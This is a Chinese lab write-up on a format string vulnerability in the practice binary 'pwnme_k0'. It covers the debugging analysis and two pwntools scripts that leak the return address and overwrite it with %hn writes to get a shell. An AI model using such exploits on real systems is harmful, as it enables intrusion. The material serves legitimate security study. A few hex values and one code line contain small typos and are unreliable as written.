实验目的
掌握格式化字符串漏洞的原理以及在漏洞利用中的应用.
实验条件
- 操作系统:Linux
- 语言环境:python
- 调试器:gdb、IDA Pro
实验原理
利用格式化字符串修改返回地址,以在函数返回时获取shell。
实验步骤
检查保护,发现开启了
RELRO和NX保护;
通过IDA进行反编译,发现在函数
sub_400B07中存在格式化字符串漏洞,分析是由printf(buf)造成的;
查看函数
sub_400B07中的汇编语句
发现
printf只压入了一个格式化的format参数,没有其它参数,下述根据程序运行过程可知,sub_400B07函数用于执行选项1,查看用户信息;1
2
31.Sh0w Account Infomation! #查看用户信息,不需要参数
2.Ed1t Account Inf0mation! #编辑用户信息,需要参数
3.QUit sangebaimao:( #退出使用gdb在
0x400B28处下断点进行调试,输入用户名、密码为qq,选择选项1,运行到断点出;
发现要执行的命令为call 0x400770,而0x400770是GOT表中printf函数
根据64位系统的特征,前六个参数会依次存放在
rdi、rsi,rdx,rcx,r8,r9中,之后的参数才存放在栈上,因为rdi中存放了format参数,所以rsi存放了printf函数的第1个实际参数,r9存放了第5个实际参数,那么栈顶第一个元素就是第6个实际参数,因此通过构造username的值为%6$p,将栈顶的第一个元素输出;根据上图调试栈中的内容,
0x7fffffffddb8是栈顶第二个元素,存放了返回地址,而栈顶第一个元素存放了一个地址0x74ffffffddf0,后者减去前者得到0x38,因此只要泄露栈顶内容,再减去0x38,即可得到函数返回地址在栈中的位置,进而进行覆盖;构造脚本如下,即可找到泄露出的返回地址在栈中的位置为
0x7ffd6ee4a728(每次运行返回地址都在变化);1
2
3
4
5
6
7
8
9
10from pwn import *
r = process("./pwnme_k0")
r.recv()
r.sendline("%6$p")
r.recv()
r.sendline("mypassword")
r.recv() r.sendline("1")
r.recvuntil("0x")
retn_addr = int(r.recvline().strip(), 16) - 0x38
print "retn_addr = " + hex(retn_addr)
分析栈中内容,发现
username相当于printf的第8个参数,想要把返回地址覆盖,可以使用% num $ hn,就是把本次输出的字节数写入到第num个参数指向的位置从IDA中很明显可以找到system(“/bin/sh”)的地址为
0x4008a6
因此,只需要编辑用户资料,将username改为函数返回地址(栈顶的第二个元素),将password改为
%2214d%8$hn,即把0x08a6写入到username指向的位置(0x086a==2214d),改完后查看用户资料,调出/bin/sh;脚本如下;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24from pwn import *
p = process("./pwnme_k0")
#泄露返回地址
p.recv()
p.sendline("%6$p")
p.recv()
p.sendline("mypassword")
p.recv()
p.sendline("1")
p.recvuntil("0x")
retn_addr = int(p.recvline().strip(),16)-0x38
print "retn_addr="+hex(retn_addr)
#利用%num$hn覆写返回地址
p.recv()
p.sendline("2")
p.recv()
p.sendline(p64(retn_addr))
p.recv()
p.sendline("%2214d%8$hn")
#查看用户资料从而调用/bin/sh
p.recv()
p.sendline("1")
p.recv()
p.interactive()执行脚本,成功getshell.
